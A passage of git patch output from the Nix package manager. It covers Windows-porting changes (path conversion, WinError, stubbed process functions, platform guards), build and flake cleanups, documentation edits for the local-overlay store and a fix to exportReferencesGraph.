os_string_to_string(PathViewNG::string_view path) +{ + std::wstring_convert> converter; + return converter.to_bytes(PathNG::string_type { path }); +} + +PathNG::string_type string_to_os_string(std::string_view s) +{ + std::wstring_convert> converter; + return converter.from_bytes(std::string { s }); +} + +std::optional maybePathNG(PathView path) +{ + if (path.length() >= 3 && (('A' <= path[0] && path[0] <= 'Z') || ('a' <= path[0] && path[0] <= 'z')) && path[1] == ':' && WindowsPathTrait::isPathSep(path[2])) { + PathNG::string_type sw = string_to_os_string( + std::string { "\\\\?\\" } + path); + std::replace(sw.begin(), sw.end(), '/', '\\'); + return sw; + } + if (path.length() >= 7 && path[0] == '\\' && path[1] == '\\' && (path[2] == '.' || path[2] == '?') && path[3] == '\\' && + ('A' <= path[4] && path[4] <= 'Z') && path[5] == ':' && WindowsPathTrait::isPathSep(path[6])) { + PathNG::string_type sw = string_to_os_string(path); + std::replace(sw.begin(), sw.end(), '/', '\\'); + return sw; + } + return std::optional(); +} + +PathNG pathNG(PathView path) +{ + std::optional sw = maybePathNG(path); + if (!sw) { + // FIXME why are we not using the regular error handling? + std::cerr << "invalid path for WinAPI call ["< +#include +#include +#include +#include +#include +#include + +#include +#include + +#ifdef __APPLE__ +# include +#endif + +#ifdef __linux__ +# include +# include +#endif + + +namespace nix { + +std::string runProgram(Path program, bool searchPath, const Strings & args, + const std::optional & input, bool isInteractive) +{ + throw UnimplementedError("Cannot shell out to git on Windows yet"); +} + +// Output = error code + "standard out" output stream +std::pair runProgram(RunOptions && options) +{ + throw UnimplementedError("Cannot shell out to git on Windows yet"); +} + +void runProgram2(const RunOptions & options) +{ + throw UnimplementedError("Cannot shell out to git on Windows yet"); +} + +} diff --git a/src/libutil/windows/signals-impl.hh b/src/libutil/windows/signals-impl.hh new file mode 100644 index 000000000..26d2600bf --- /dev/null +++ b/src/libutil/windows/signals-impl.hh @@ -0,0 +1,41 @@ +#pragma once +///@file + +#include "types.hh" + +namespace nix { + +/* User interruption. */ + +static inline void setInterrupted(bool isInterrupted) +{ + /* Do nothing for now */ +} + +static inline bool getInterrupted() +{ + return false; +} + +inline void setInterruptThrown() +{ + /* Do nothing for now */ +} + +void inline checkInterrupt() +{ + /* Do nothing for now */ +} + +/** + * Does nothing, unlike Unix counterpart, but allows avoiding C++ + */ +struct ReceiveInterrupts +{ + /** + * Explicit destructor avoids dead code warnings. + */ + ~ReceiveInterrupts() {} +}; + +} diff --git a/src/libutil/windows/users.cc b/src/libutil/windows/users.cc new file mode 100644 index 000000000..1792ff1a1 --- /dev/null +++ b/src/libutil/windows/users.cc @@ -0,0 +1,50 @@ +#include "util.hh" +#include "users.hh" +#include "environment-variables.hh" +#include "file-system.hh" +#include "windows-error.hh" + +#define WIN32_LEAN_AND_MEAN +#include + +namespace nix { + +std::string getUserName() +{ + // Get the required buffer size + DWORD size = 0; + if (!GetUserNameA(nullptr, &size)) { + auto lastError = GetLastError(); + if (lastError != ERROR_INSUFFICIENT_BUFFER) + throw WinError(lastError, "cannot figure out size of user name"); + } + + std::string name; + // Allocate a buffer of sufficient size + // + // - 1 because no need for null byte + name.resize(size - 1); + + // Retrieve the username + if (!GetUserNameA(&name[0], &size)) + throw WinError("cannot figure out user name"); + + return name; +} + +Path getHome() +{ + static Path homeDir = []() + { + Path homeDir = getEnv("USERPROFILE").value_or("C:\\Users\\Default"); + assert(!homeDir.empty()); + return canonPath(homeDir); + }(); + return homeDir; +} + +bool isRootUser() { + return false; +} + +} diff --git a/src/libutil/windows/windows-error.cc b/src/libutil/windows/windows-error.cc new file mode 100644 index 000000000..26faaae6d --- /dev/null +++ b/src/libutil/windows/windows-error.cc @@ -0,0 +1,31 @@ +#include "windows-error.hh" + +#include +#define WIN32_LEAN_AND_MEAN +#include + +namespace nix { + +std::string WinError::renderError(DWORD lastError) +{ + LPSTR errorText = NULL; + + FormatMessageA( FORMAT_MESSAGE_FROM_SYSTEM // use system message tables to retrieve error text + |FORMAT_MESSAGE_ALLOCATE_BUFFER // allocate buffer on local heap for error text + |FORMAT_MESSAGE_IGNORE_INSERTS, // Important! will fail otherwise, since we're not (and CANNOT) pass insertion parameters + NULL, // unused with FORMAT_MESSAGE_FROM_SYSTEM + lastError, + MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), + (LPTSTR)&errorText, // output + 0, // minimum size for output buffer + NULL); // arguments - see note + + if (NULL != errorText ) { + std::string s2 { errorText }; + LocalFree(errorText); + return s2; + } + return fmt("CODE=%d", lastError); +} + +} diff --git a/src/libutil/windows/windows-error.hh b/src/libutil/windows/windows-error.hh new file mode 100644 index 000000000..fdfd0f52c --- /dev/null +++ b/src/libutil/windows/windows-error.hh @@ -0,0 +1,51 @@ +#pragma once +///@file + +#include + +#include "error.hh" + +namespace nix { + +/** + * Windows Error type. + * + * Unless you need to catch a specific error number, don't catch this in + * portable code. Catch `SystemError` instead. + */ +class WinError : public SystemError +{ +public: + DWORD lastError; + + /** + * Construct using the explicitly-provided error number. + * `FormatMessageA` will be used to try to add additional + * information to the message. + */ + template + WinError(DWORD lastError, const Args & ... args) + : SystemError(""), lastError(lastError) + { + auto hf = HintFmt(args...); + err.msg = HintFmt("%1%: %2%", Uncolored(hf.str()), renderError(lastError)); + } + + /** + * Construct using `GetLastError()` and the ambient "last error". + * + * Be sure to not perform another last-error-modifying operation + * before calling this constructor! + */ + template + WinError(const Args & ... args) + : WinError(GetLastError(), args ...) + { + } + +private: + + std::string renderError(DWORD lastError); +}; + +} diff --git a/src/nix-env/nix-env.cc b/src/nix-env/nix-env.cc index cf0569c9f..eeca01833 100644 --- a/src/nix-env/nix-env.cc +++ b/src/nix-env/nix-env.cc @@ -1342,8 +1342,16 @@ static void opListGenerations(Globals & globals, Strings opFlags, Strings opArgs RunPager pager; for (auto & i : gens) { +#ifdef _WIN32 // TODO portable wrapper in libutil + tm * tp = localtime(&i.creationTime); + if (!tp) + throw Error("cannot convert time"); + auto & t = *tp; +#else tm t; - if (!localtime_r(&i.creationTime, &t)) throw Error("cannot convert time"); + if (!localtime_r(&i.creationTime, &t)) + throw Error("cannot convert time"); +#endif logger->cout("%|4| %|4|-%|02|-%|02| %|02|:%|02|:%|02| %||", i.number, t.tm_year + 1900, t.tm_mon + 1, t.tm_mday, diff --git a/src/nix-instantiate/nix-instantiate.cc b/src/nix-instantiate/nix-instantiate.cc index 86e6f008d..1e1728225 100644 --- a/src/nix-instantiate/nix-instantiate.cc +++ b/src/nix-instantiate/nix-instantiate.cc @@ -168,7 +168,7 @@ static int main_nix_instantiate(int argc, char * * argv) for (auto & i : files) { auto p = state->findFile(i); if (auto fn = p.getPhysicalPath()) - std::cout << fn->native() << std::endl; + std::cout << fn->string() << std::endl; else throw Error("'%s' has no physical path", p); } diff --git a/src/nix-store/nix-store.cc b/src/nix-store/nix-store.cc index 7c8905da6..719675cba 100644 --- a/src/nix-store/nix-store.cc +++ b/src/nix-store/nix-store.cc @@ -4,10 +4,8 @@ #include "globals.hh" #include "build-result.hh" #include "store-cast.hh" -#include "gc-store.hh" +#include "local-fs-store.hh" #include "log-store.hh" -#include "local-store.hh" -#include "monitor-fd.hh" #include "serve-protocol.hh" #include "serve-protocol-impl.hh" #include "shared.hh" @@ -15,7 +13,12 @@ #include "legacy.hh" #include "posix-source-accessor.hh" #include "path-with-outputs.hh" -#include "posix-fs-canonicalise.hh" + +#ifndef _WIN32 // TODO implement on Windows or provide allowed-to-noop interface +# include "local-store.hh" +# include "monitor-fd.hh" +# include "posix-fs-canonicalise.hh" +#endif #include #include @@ -43,12 +46,14 @@ static bool noOutput = false; static std::shared_ptr store; +#ifndef _WIN32 // TODO reenable on Windows once we have `LocalStore` there ref ensureLocalStore() { auto store2 = std::dynamic_pointer_cast(store); if (!store2) throw Error("you don't have sufficient rights to use this command"); return ref(store2); } +#endif static StorePath useDeriver(const StorePath & path) @@ -550,7 +555,11 @@ static void registerValidity(bool reregister, bool hashGiven, bool canonicalise) if (!store->isValidPath(info->path) || reregister) { /* !!! races */ if (canonicalise) +#ifdef _WIN32 // TODO implement on Windows + throw UnimplementedError("file attribute canonicalisation Is not implemented on Windows"); +#else canonicalisePathMetaData(store->printStorePath(info->path), {}); +#endif if (!hashGiven) { HashResult hash = hashPath( *store->getFSAccessor(false), CanonPath { store->printStorePath(info->path) }, @@ -563,7 +572,9 @@ static void registerValidity(bool reregister, bool hashGiven, bool canonicalise) } } +#ifndef _WIN32 // TODO reenable on Windows once we have `LocalStore` there ensureLocalStore()->registerValidPaths(infos); +#endif } @@ -684,7 +695,7 @@ static void opDump(Strings opFlags, Strings opArgs) if (!opFlags.empty()) throw UsageError("unknown flag"); if (opArgs.size() != 1) throw UsageError("only one argument allowed"); - FdSink sink(STDOUT_FILENO); + FdSink sink(getStandardOut()); std::string path = *opArgs.begin(); dumpPath(path, sink); sink.flush(); @@ -712,7 +723,7 @@ static void opExport(Strings opFlags, Strings opArgs) for (auto & i : opArgs) paths.insert(store->followLinksToStorePath(i)); - FdSink sink(STDOUT_FILENO); + FdSink sink(getStandardOut()); store->exportPaths(paths, sink); sink.flush(); } @@ -825,7 +836,7 @@ static void opServe(Strings opFlags, Strings opArgs) if (!opArgs.empty()) throw UsageError("no arguments expected"); FdSource in(STDIN_FILENO); - FdSink out(STDOUT_FILENO); + FdSink out(getStandardOut()); /* Exchange the greeting. */ ServeProto::Version clientVersion = @@ -946,7 +957,9 @@ static void opServe(Strings opFlags, Strings opArgs) getBuildSettings(); try { +#ifndef _WIN32 // TODO figure out if Windows needs something similar MonitorFdHup monitor(in.fd); +#endif store->buildPaths(toDerivedPaths(paths)); out << 0; } catch (Error & e) { @@ -966,7 +979,9 @@ static void opServe(Strings opFlags, Strings opArgs) getBuildSettings(); +#ifndef _WIN32 // TODO figure out if Windows needs something similar MonitorFdHup monitor(in.fd); +#endif auto status = store->buildDerivation(drvPath, drv); ServeProto::write(*store, wconn, status); diff --git a/src/nix/cat.cc b/src/nix/cat.cc index 4df086d4f..ee904b0c5 100644 --- a/src/nix/cat.cc +++ b/src/nix/cat.cc @@ -15,7 +15,8 @@ struct MixCat : virtual Args if (st.type != SourceAccessor::Type::tRegular) throw Error("path '%1%' is not a regular file", path); stopProgressBar(); - writeFull(STDOUT_FILENO, accessor->readFile(CanonPath(path))); + + writeFull(getStandardOut(), accessor->readFile(CanonPath(path))); } }; diff --git a/src/nix/develop.cc b/src/nix/develop.cc index b654dc52f..35d3da912 100644 --- a/src/nix/develop.cc +++ b/src/nix/develop.cc @@ -7,7 +7,10 @@ #include "outputs-spec.hh" #include "derivations.hh" #include "progress-bar.hh" -#include "run.hh" + +#ifndef _WIN32 // TODO re-enable on Windows +# include "run.hh" +#endif #include #include @@ -662,6 +665,9 @@ struct CmdDevelop : Common, MixEnvironment // This is to make sure the system shell doesn't leak into the build environment. setEnv("SHELL", shell.c_str()); +#ifdef _WIN32 // TODO re-enable on Windows + throw UnimplementedError("Cannot yet spawn processes on Windows"); +#else // If running a phase or single command, don't want an interactive shell running after // Ctrl-C, so don't pass --rcfile auto args = phase || !command.empty() ? Strings{std::string(baseNameOf(shell)), rcFilePath} @@ -682,6 +688,7 @@ struct CmdDevelop : Common, MixEnvironment } runProgramInStore(store, UseSearchPath::Use, shell, args, buildEnvironment.getSystem()); +#endif } }; diff --git a/src/nix/dump-path.cc b/src/nix/dump-path.cc index 0850d4c1c..953d77d31 100644 --- a/src/nix/dump-path.cc +++ b/src/nix/dump-path.cc @@ -20,7 +20,7 @@ struct CmdDumpPath : StorePathCommand void run(ref store, const StorePath & storePath) override { - FdSink sink(STDOUT_FILENO); + FdSink sink(getStandardOut()); store->narFromPath(storePath, sink); sink.flush(); } @@ -55,7 +55,7 @@ struct CmdDumpPath2 : Command void run() override { - FdSink sink(STDOUT_FILENO); + FdSink sink(getStandardOut()); dumpPath(path, sink); sink.flush(); } diff --git a/src/nix/eval.cc b/src/nix/eval.cc index 7b9bf7cb1..494735516 100644 --- a/src/nix/eval.cc +++ b/src/nix/eval.cc @@ -87,7 +87,11 @@ struct CmdEval : MixJSON, InstallableValueCommand, MixReadOnlyOption // FIXME: disallow strings with contexts? writeFile(path, v.string_view()); else if (v.type() == nAttrs) { - if (mkdir(path.c_str(), 0777) == -1) + if (mkdir(path.c_str() +#ifndef _WIN32 // TODO abstract mkdir perms for Windows + , 0777 +#endif + ) == -1) throw SysError("creating directory '%s'", path); for (auto & attr : *v.attrs()) { std::string_view name = state->symbols[attr.name]; @@ -112,7 +116,7 @@ struct CmdEval : MixJSON, InstallableValueCommand, MixReadOnlyOption else if (raw) { stopProgressBar(); - writeFull(STDOUT_FILENO, *state->coerceToString(noPos, *v, context, "while generating the eval command output")); + writeFull(getStandardOut(), *state->coerceToString(noPos, *v, context, "while generating the eval command output")); } else if (json) { diff --git a/src/nix/local.mk b/src/nix/local.mk index 9f6f31b3a..305b0e9df 100644 --- a/src/nix/local.mk +++ b/src/nix/local.mk @@ -4,19 +4,19 @@ nix_DIR := $(d) nix_SOURCES := \ $(wildcard $(d)/*.cc) \ - $(wildcard src/build-remote/*.cc) \ $(wildcard src/nix-build/*.cc) \ - $(wildcard src/nix-channel/*.cc) \ - $(wildcard src/nix-collect-garbage/*.cc) \ - $(wildcard src/nix-copy-closure/*.cc) \ - $(wildcard src/nix-daemon/*.cc) \ $(wildcard src/nix-env/*.cc) \ $(wildcard src/nix-instantiate/*.cc) \ $(wildcard src/nix-store/*.cc) ifdef HOST_UNIX nix_SOURCES += \ - $(wildcard $(d)/unix/*.cc) + $(wildcard $(d)/unix/*.cc) \ + $(wildcard src/build-remote/*.cc) \ + $(wildcard src/nix-channel/*.cc) \ + $(wildcard src/nix-collect-garbage/*.cc) \ + $(wildcard src/nix-copy-closure/*.cc) \ + $(wildcard src/nix-daemon/*.cc) endif INCLUDE_nix := -I $(d) diff --git a/src/nix/log.cc b/src/nix/log.cc index 9a9bd30f9..7f590c708 100644 --- a/src/nix/log.cc +++ b/src/nix/log.cc @@ -57,7 +57,7 @@ struct CmdLog : InstallableCommand if (!log) continue; stopProgressBar(); printInfo("got build log for '%s' from '%s'", installable->what(), logSub.getUri()); - writeFull(STDOUT_FILENO, *log); + writeFull(getStandardOut(), *log); return; } diff --git a/src/nix/main.cc b/src/nix/main.cc index af6498218..7b0478a9f 100644 --- a/src/nix/main.cc +++ b/src/nix/main.cc @@ -16,26 +16,34 @@ #include "markdown.hh" #include "memory-input-accessor.hh" #include "terminal.hh" +#include "users.hh" #include -#include -#include -#include -#include #include - #include +#ifndef _WIN32 +# include +# include +# include +# include +#endif + #if __linux__ # include "namespaces.hh" #endif +#ifndef _WIN32 extern std::string chrootHelperName; void chrootHelper(int argc, char * * argv); +#endif namespace nix { +#ifdef _WIN32 +[[maybe_unused]] +#endif static bool haveProxyEnvironmentVariables() { static const std::vector proxyVariables = { @@ -57,6 +65,7 @@ static bool haveProxyEnvironmentVariables() /* Check if we have a non-loopback/link-local network interface. */ static bool haveInternet() { +#ifndef _WIN32 struct ifaddrs * addrs; if (getifaddrs(&addrs)) @@ -80,6 +89,10 @@ static bool haveInternet() if (haveProxyEnvironmentVariables()) return true; return false; +#else + // TODO implement on Windows + return true; +#endif } std::string programPath; @@ -342,10 +355,12 @@ void mainWrapped(int argc, char * * argv) /* The chroot helper needs to be run before any threads have been started. */ +#ifndef _WIN32 if (argc > 0 && argv[0] == chrootHelperName) { chrootHelper(argc, argv); return; } +#endif initNix(); initGC(); @@ -364,6 +379,9 @@ void mainWrapped(int argc, char * * argv) programPath = argv[0]; auto programName = std::string(baseNameOf(programPath)); + auto extensionPos = programName.find_last_of("."); + if (extensionPos != std::string::npos) + programName.erase(extensionPos); if (argc > 1 && std::string_view(argv[1]) == "__build-remote") { programName = "build-remote"; @@ -524,9 +542,11 @@ void mainWrapped(int argc, char * * argv) int main(int argc, char * * argv) { +#ifndef _WIN32 // TODO implement on Windows // Increase the default stack size for the evaluator and for // libstdc++'s std::regex. nix::setStackSize(64 * 1024 * 1024); +#endif return nix::handleExceptions(argv[0], [&]() { nix::mainWrapped(argc, argv); diff --git a/src/nix/prefetch.cc b/src/nix/prefetch.cc index d30e9d397..8e6a2e805 100644 --- a/src/nix/prefetch.cc +++ b/src/nix/prefetch.cc @@ -95,7 +95,7 @@ std::tuple prefetchFile( if (executable) mode = 0700; - AutoCloseFD fd = open(tmpFile.c_str(), O_WRONLY | O_CREAT | O_EXCL, mode); + AutoCloseFD fd = toDescriptor(open(tmpFile.c_str(), O_WRONLY | O_CREAT | O_EXCL, mode)); if (!fd) throw SysError("creating temporary file '%s'", tmpFile); FdSink sink(fd.get()); diff --git a/src/nix/sigs.cc b/src/nix/sigs.cc index dfef44869..1e277cbbe 100644 --- a/src/nix/sigs.cc +++ b/src/nix/sigs.cc @@ -177,7 +177,7 @@ struct CmdKeyGenerateSecret : Command throw UsageError("required argument '--key-name' is missing"); stopProgressBar(); - writeFull(STDOUT_FILENO, SecretKey::generate(*keyName).to_string()); + writeFull(getStandardOut(), SecretKey::generate(*keyName).to_string()); } }; @@ -199,7 +199,7 @@ struct CmdKeyConvertSecretToPublic : Command { SecretKey secretKey(drainFD(STDIN_FILENO)); stopProgressBar(); - writeFull(STDOUT_FILENO, secretKey.toPublicKey().to_string()); + writeFull(getStandardOut(), secretKey.toPublicKey().to_string()); } }; diff --git a/tests/unit/libutil/tests.cc b/tests/unit/libutil/tests.cc index d7e9edf0a..b66872a6e 100644 --- a/tests/unit/libutil/tests.cc +++ b/tests/unit/libutil/tests.cc @@ -421,6 +421,7 @@ namespace nix { ASSERT_EQ(string2Int("-100"), -100); } +#ifndef _WIN32 // TODO re-enable on Windows, once we can start processes /* ---------------------------------------------------------------------------- * statusOk * --------------------------------------------------------------------------*/ @@ -429,6 +430,7 @@ namespace nix { ASSERT_EQ(statusOk(0), true); ASSERT_EQ(statusOk(1), false); } +#endif /* ---------------------------------------------------------------------------- From 98691b46e39fcaa0688e6f880e539bc88d86d63a Mon Sep 17 00:00:00 2001 From: John Ericson Date: Fri, 12 Jan 2024 20:39:46 -0500 Subject: [PATCH 0478/1251] Get rid of `shellCrossSystems` We don't need it now that our (minimized) Windows build of Nix succeeds! --- flake.nix | 12 +++--------- 1 file changed, 3 insertions(+), 9 deletions(-) diff --git a/flake.nix b/flake.nix index be4e68783..8ee46101b 100644 --- a/flake.nix +++ b/flake.nix @@ -32,12 +32,6 @@ "armv6l-unknown-linux-gnueabihf" "armv7l-unknown-linux-gnueabihf" "x86_64-unknown-netbsd" - ]; - - # Nix doesn't yet build on this platform, so we put it in a - # separate list. We just use this for `devShells` and - # `nixpkgsFor`, which this depends on. - shellCrossSystems = crossSystems ++ [ "x86_64-w64-mingw32" ]; @@ -83,7 +77,7 @@ in { inherit stdenvs native; static = native.pkgsStatic; - cross = lib.genAttrs shellCrossSystems (crossSystem: make-pkgs crossSystem "stdenv"); + cross = forAllCrossSystems (crossSystem: make-pkgs crossSystem "stdenv"); }); installScriptFor = tarballs: @@ -426,8 +420,8 @@ in (makeShells "native" nixpkgsFor.${system}.native) // (lib.optionalAttrs (!nixpkgsFor.${system}.native.stdenv.isDarwin) - (makeShells "static" nixpkgsFor.${system}.static)) // - (lib.genAttrs shellCrossSystems (crossSystem: let pkgs = nixpkgsFor.${system}.cross.${crossSystem}; in makeShell pkgs pkgs.stdenv)) // + (makeShells "static" nixpkgsFor.${system}.static) // + (forAllCrossSystems (crossSystem: let pkgs = nixpkgsFor.${system}.cross.${crossSystem}; in makeShell pkgs pkgs.stdenv))) // { default = self.devShells.${system}.native-stdenvPackages; } From b529d91902a46e1fe0954d44fbc3622edcbe99ca Mon Sep 17 00:00:00 2001 From: John Ericson Date: Sat, 13 Jan 2024 15:47:08 -0500 Subject: [PATCH 0479/1251] Prefix `-DNIX_` paths to be windows-complient for windows This is a hacky solution, but it will do for now. --- src/libstore/local.mk | 27 +++++++++++++++++++-------- 1 file changed, 19 insertions(+), 8 deletions(-) diff --git a/src/libstore/local.mk b/src/libstore/local.mk index b74a047bf..6be748581 100644 --- a/src/libstore/local.mk +++ b/src/libstore/local.mk @@ -43,17 +43,28 @@ ifdef HOST_WINDOWS INCLUDE_libstore += -I $(d)/windows endif +ifdef HOST_WINDOWS +NIX_ROOT = N:\\\\ +else +NIX_ROOT = +endif + +# Prefix all but `NIX_STORE_DIR`, since we aren't doing a local store +# yet so a "logical" store dir that is the same as unix is prefered. +# +# Also, it keeps the unit tests working. + libstore_CXXFLAGS += \ $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libstore) \ - -DNIX_PREFIX=\"$(prefix)\" \ + -DNIX_PREFIX=\"$(NIX_ROOT)$(prefix)\" \ -DNIX_STORE_DIR=\"$(storedir)\" \ - -DNIX_DATA_DIR=\"$(datadir)\" \ - -DNIX_STATE_DIR=\"$(localstatedir)/nix\" \ - -DNIX_LOG_DIR=\"$(localstatedir)/log/nix\" \ - -DNIX_CONF_DIR=\"$(sysconfdir)/nix\" \ - -DNIX_BIN_DIR=\"$(bindir)\" \ - -DNIX_MAN_DIR=\"$(mandir)\" \ - -DLSOF=\"$(lsof)\" + -DNIX_DATA_DIR=\"$(NIX_ROOT)$(datadir)\" \ + -DNIX_STATE_DIR=\"$(NIX_ROOT)$(localstatedir)/nix\" \ + -DNIX_LOG_DIR=\"$(NIX_ROOT)$(localstatedir)/log/nix\" \ + -DNIX_CONF_DIR=\"$(NIX_ROOT)$(sysconfdir)/nix\" \ + -DNIX_BIN_DIR=\"$(NIX_ROOT)$(bindir)\" \ + -DNIX_MAN_DIR=\"$(NIX_ROOT)$(mandir)\" \ + -DLSOF=\"$(NIX_ROOT)$(lsof)\" ifeq ($(embedded_sandbox_shell),yes) libstore_CXXFLAGS += -DSANDBOX_SHELL=\"__embedded_sandbox_shell__\" From 1063aa502a3b931f96c1ff8bb6147ab73e63d582 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Sun, 14 Jan 2024 13:36:53 -0500 Subject: [PATCH 0480/1251] Relax store path canonicalization --- src/libstore/globals.cc | 8 +++++++- src/libstore/path.cc | 13 ++++++++++++- 2 files changed, 19 insertions(+), 2 deletions(-) diff --git a/src/libstore/globals.cc b/src/libstore/globals.cc index ae268e54e..83e54e008 100644 --- a/src/libstore/globals.cc +++ b/src/libstore/globals.cc @@ -49,7 +49,13 @@ static GlobalConfig::Register rSettings(&settings); Settings::Settings() : nixPrefix(NIX_PREFIX) - , nixStore(canonPath(getEnvNonEmpty("NIX_STORE_DIR").value_or(getEnvNonEmpty("NIX_STORE").value_or(NIX_STORE_DIR)))) + , nixStore( +#ifndef _WIN32 + // On Windows `/nix/store` is not a canonical path, but we dont' + // want to deal with that yet. + canonPath +#endif + (getEnvNonEmpty("NIX_STORE_DIR").value_or(getEnvNonEmpty("NIX_STORE").value_or(NIX_STORE_DIR)))) , nixDataDir(canonPath(getEnvNonEmpty("NIX_DATA_DIR").value_or(NIX_DATA_DIR))) , nixLogDir(canonPath(getEnvNonEmpty("NIX_LOG_DIR").value_or(NIX_LOG_DIR))) , nixStateDir(canonPath(getEnvNonEmpty("NIX_STATE_DIR").value_or(NIX_STATE_DIR))) diff --git a/src/libstore/path.cc b/src/libstore/path.cc index 5db4b974c..4b806e408 100644 --- a/src/libstore/path.cc +++ b/src/libstore/path.cc @@ -63,7 +63,18 @@ StorePath StorePath::random(std::string_view name) StorePath StoreDirConfig::parseStorePath(std::string_view path) const { - auto p = canonPath(std::string(path)); + // On Windows, `/nix/store` is not a canonical path. More broadly it + // is unclear whether this function should be using the native + // notion of a canonical path at all. For example, it makes to + // support remote stores whose store dir is a non-native path (e.g. + // Windows <-> Unix ssh-ing). + auto p = +#ifdef _WIN32 + path +#else + canonPath(std::string(path)) +#endif + ; if (dirOf(p) != storeDir) throw BadStorePath("path '%s' is not in the Nix store", p); return StorePath(baseNameOf(p)); From 5fd28eeba49c7bc23b539b677f63313925acb484 Mon Sep 17 00:00:00 2001 From: a-kenji Date: Wed, 17 Apr 2024 19:25:11 +0200 Subject: [PATCH 0481/1251] docs: fix wiki link Link to the official wiki. --- src/nix/flake-init.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/nix/flake-init.md b/src/nix/flake-init.md index ea274bf29..e14dfad7e 100644 --- a/src/nix/flake-init.md +++ b/src/nix/flake-init.md @@ -56,7 +56,7 @@ outputs = { self }: { ## More info - [Rust language](https://www.rust-lang.org/) - - [Rust on the NixOS Wiki](https://nixos.wiki/wiki/Rust) + - [Rust on the NixOS Wiki](https://wiki.nixos.org/wiki/Rust) - ... ''; }; From 21d9412ddc07341df0194a0301d88e41ab9cf84c Mon Sep 17 00:00:00 2001 From: John Ericson Date: Sun, 14 Apr 2024 12:28:37 -0400 Subject: [PATCH 0482/1251] Improve `local-overlay` docs in a few ways In response to https://discourse.nixos.org/t/super-colliding-nix-stores/28462/24 --- src/libstore/unix/local-overlay-store.md | 30 +++++++++++++++--------- 1 file changed, 19 insertions(+), 11 deletions(-) diff --git a/src/libstore/unix/local-overlay-store.md b/src/libstore/unix/local-overlay-store.md index cc310bc7f..1e1a3d26c 100644 --- a/src/libstore/unix/local-overlay-store.md +++ b/src/libstore/unix/local-overlay-store.md @@ -16,6 +16,8 @@ The parts of a local overlay store are as follows: - **Lower store**: + > Specified with the [`lower-store`](#store-experimental-local-overlay-store-lower-store) setting. + This is any store implementation that includes a store directory as part of the native operating system filesystem. For example, this could be a [local store], [local daemon store], or even another local overlay store. @@ -28,13 +30,11 @@ The parts of a local overlay store are as follows: The lower store must not change while it is mounted as part of an overlay store. To ensure it does not, you might want to mount the store directory read-only (which then requires the [read-only] parameter to be set to `true`). - Specified with the [`lower-store`](#store-experimental-local-overlay-store-lower-store) setting. - - **Lower store directory**: - This is the directory used/exposed by the lower store. + > Specified with `lower-store.real` setting. - Specified with `lower-store.real` setting. + This is the directory used/exposed by the lower store. As specified above, Nix requires the local store can only grow not change in other ways. Linux's OverlayFS in addition imposes the further requirement that this directory cannot change at all. @@ -42,6 +42,9 @@ The parts of a local overlay store are as follows: - **Lower metadata source**: + > Not directly specified. + > A consequence of the `lower-store` setting, depending on the type of lower store chosen. + This is abstract, just some way to read the metadata of lower store [store objects][store object]. For example it could be a SQLite database (for the [local store]), or a socket connection (for the [local daemon store]). @@ -51,36 +54,41 @@ The parts of a local overlay store are as follows: - **Upper almost-store**: + > Not directly specified. + > Instead the constituent parts are independently specified as described below. + This is almost but not quite just a [local store]. That is because taken in isolation, not as part of a local overlay store, by itself, it would appear corrupted. But combined with everything else as part of an overlay local store, it is valid. - **Upper layer directory**: + > Specified with [`upper-layer`](#store-experimental-local-overlay-store-upper-layer) setting. + This contains additional [store objects][store object] (or, strictly speaking, their [file system objects][file system object] that the local overlay store will extend the lower store with). - Specified with [`upper-layer`](#store-experimental-local-overlay-store-upper-layer) setting. - - **Upper store directory**: + > Specified with the [`real`](#store-experimental-local-overlay-store-real) setting. + > This the same as the base local store setting, and can also be indirectly specified with the [`root`](#store-experimental-local-overlay-store-root) setting. + This contains all the store objects from each of the two directories. The lower store directory and upper layer directory are combined via OverlayFS to create this directory. Nix doesn't do this itself, because it typically wouldn't have the permissions to do so, so it is the responsibility of the user to set this up first. Nix can, however, optionally check that that the OverlayFS mount settings appear as expected, matching Nix's own settings. - Specified with the [`real`](#store-experimental-local-overlay-store-real) setting. - - **Upper SQLite database**: + > Not directly specified. + > The location of the database instead depends on the [`state`](#store-experimental-local-overlay-store-state) setting. + > It is is always `${state}/db`. + This contains the metadata of all of the upper layer [store objects][store object] (everything beyond their file system objects), and also duplicate copies of some lower layer store object's metadta. The duplication is so the metadata for the [closure](@docroot@/glossary.md#gloss-closure) of upper layer [store objects][store object] can be found entirely within the upper layer. (This allows us to use the same SQL Schema as the [local store]'s SQLite database, as foreign keys in that schema enforce closure metadata to be self-contained in this way.) - The location of the database is directly specified, but depends on the [`state`](#store-experimental-local-overlay-store-state) setting. - It is is always `${state}/db`. - [file system object]: @docroot@/store/file-system-object.md [store object]: @docroot@/store/store-object.md From 0774e8ba33c060f56bad3ff696796028249e915a Mon Sep 17 00:00:00 2001 From: Alyssa Ross Date: Wed, 17 Apr 2024 21:51:59 +0200 Subject: [PATCH 0483/1251] Fix exportReferencesGraph when given store subpath With Nix 2.3, it was possible to pass a subpath of a store path to exportReferencesGraph: with import {}; let hello = writeShellScriptBin "hello" '' echo ${toString builtins.currentTime} ''; in writeClosure [ "${hello}/bin/hello" ] This regressed with Nix 2.4, with a very confusing error message, that presumably indicates it was unintentional: error: path '/nix/store/3gl7kgjr4pwf03f0x70dgx9ln3bhl7zc-hello/bin/hello' is not in the Nix store --- src/libstore/parsed-derivations.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libstore/parsed-derivations.cc b/src/libstore/parsed-derivations.cc index 72f45143d..a29281953 100644 --- a/src/libstore/parsed-derivations.cc +++ b/src/libstore/parsed-derivations.cc @@ -186,7 +186,7 @@ std::optional ParsedDerivation::prepareStructuredAttrs(Store & s for (auto i = e->begin(); i != e->end(); ++i) { StorePathSet storePaths; for (auto & p : *i) - storePaths.insert(store.parseStorePath(p.get())); + storePaths.insert(store.toStorePath(p.get()).first); json[i.key()] = pathInfoToJSON(store, store.exportReferences(storePaths, inputPaths)); } From 6fa3656a3286d3e73a54277965a1b1ae8d34300d Mon Sep 17 00:00:00 2001 From: John Ericson Date: Wed, 17 Apr 2024 16:20:56 -0400 Subject: [PATCH 0484/1251] Make a few commands that were Unix-only no longer Also clean up some more linux-specific (`setPersonality`) code in alignment with recent best practices. --- src/libstore/{unix/build => linux}/personality.cc | 6 +----- src/libstore/{unix/build => linux}/personality.hh | 2 +- src/libstore/local.mk | 6 ++++++ 